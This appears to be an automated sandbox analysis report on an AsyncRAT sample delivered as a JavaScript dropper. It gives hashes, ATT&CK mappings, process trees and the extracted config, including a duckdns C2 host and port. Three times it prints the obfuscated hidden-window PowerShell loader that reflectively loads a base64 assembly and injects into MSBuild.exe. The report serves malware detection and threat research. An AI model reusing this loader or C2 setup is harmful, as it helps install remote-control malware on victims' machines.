asyncrat | 68bd8187d7cb679855efd146c7e52c6a0ea0b3251d345bfbb8556e963326bdd6

Analysis

max time kernel
298s
max time network
293s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 09:43

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General

Target
ilmg-Arg-Tetonassuk/ilmg-Arg-Tetonassuk.js
Size 894KB
Sample260916-lp4m8aad72
SHA256 68bd8187d7cb679855efd146c7e52c6a0ea0b3251d345bfbb8556e963326bdd6
MD5 8f7915934814a476b2b2edbebaa518dc
SHA1 9a0361f7664da29569e2f309446d38feeea6144b
SHA512 9412754c4bd0deac1a7078cc33e3613630faa9b96834ba44fe61ebd0504e053b2926bd7b310cdc9830415c79be74b67a9c193f5bd25f2647404ec3b2a2df85da
SSDEEP 1536:7vyBXAfvGBGWEBRJ4+A59LzXAP4+LHGmhFhRnQaglGb7VSdlbYze7fyQ3HGWyumL:7IGWMXCZEMsk1q
TLSH
T14915FB0573AF2423C6527072DFA7A2822E36454F2E47D46C7A5C80D82FA51AE817EF7D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

sasx discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

SASX

awcawaawl252525.duckdns.org:6679

Mutex

wvawvtfgfhfgadadadagdgdcgdgg

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	3920	powershell.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	3920	powershell.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	3920	powershell.exe	88

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3112	wscript.exe
4	3112	wscript.exe
5	3112	wscript.exe
6	3112	wscript.exe
7	3112	wscript.exe
8	4144	powershell.exe
9	2236	powershell.exe
10	4432	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4144	powershell.exe
2236	powershell.exe
4432	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4144 set thread context of 5784	4144	powershell.exe	92
PID 2236 set thread context of 4732	2236	powershell.exe	97
PID 4432 set thread context of 1140	4432	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4144	powershell.exe
4144	powershell.exe
2236	powershell.exe
2236	powershell.exe
2236	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	1140	MSBuild.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 5784	4144	powershell.exe	92
PID 4144 wrote to memory of 5784	4144	powershell.exe	92
PID 4144 wrote to memory of 5784	4144	powershell.exe	92
PID 4144 wrote to memory of 5784	4144	powershell.exe	92
PID 4144 wrote to memory of 5784	4144	powershell.exe	92
PID 2236 wrote to memory of 4732	2236	powershell.exe	97
PID 2236 wrote to memory of 4732	2236	powershell.exe	97
PID 2236 wrote to memory of 4732	2236	powershell.exe	97
PID 2236 wrote to memory of 4732	2236	powershell.exe	97
PID 2236 wrote to memory of 4732	2236	powershell.exe	97
PID 4432 wrote to memory of 1140	4432	powershell.exe	98
PID 4432 wrote to memory of 1140	4432	powershell.exe	98
PID 4432 wrote to memory of 1140	4432	powershell.exe	98
PID 4432 wrote to memory of 1140	4432	powershell.exe	98
PID 4432 wrote to memory of 1140	4432	powershell.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ilmg-Arg-Tetonassuk\ilmg-Arg-Tetonassuk.js
1⤵
- Badlisted process makes network request
PID:3112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ckvtzlgx.1pb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckvtzlgx.1pb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1140-45-0x0000000006BB0000-0x0000000006C16000-memory.dmp

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memory/1140-44-0x0000000007100000-0x00000000076BA000-memory.dmp

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memory/1140-43-0x0000000006AA0000-0x0000000006B3C000-memory.dmp

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memory/4144-23-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-26-0x000001D6E2860000-0x000001D6E2940000-memory.dmp

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memory/4144-19-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-20-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-21-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-22-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-9-0x00007FFB361EF000-0x00007FFB361F0000-memory.dmp

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memory/4144-24-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-25-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-27-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-28-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-18-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-10-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-11-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-32-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-17-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-16-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/4144-12-0x000001D6FD440000-0x000001D6FD462000-memory.dmp

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memory/4144-13-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

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memory/5784-31-0x0000000074682000-0x0000000074683000-memory.dmp

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memory/5784-29-0x0000000000400000-0x0000000000412000-memory.dmp

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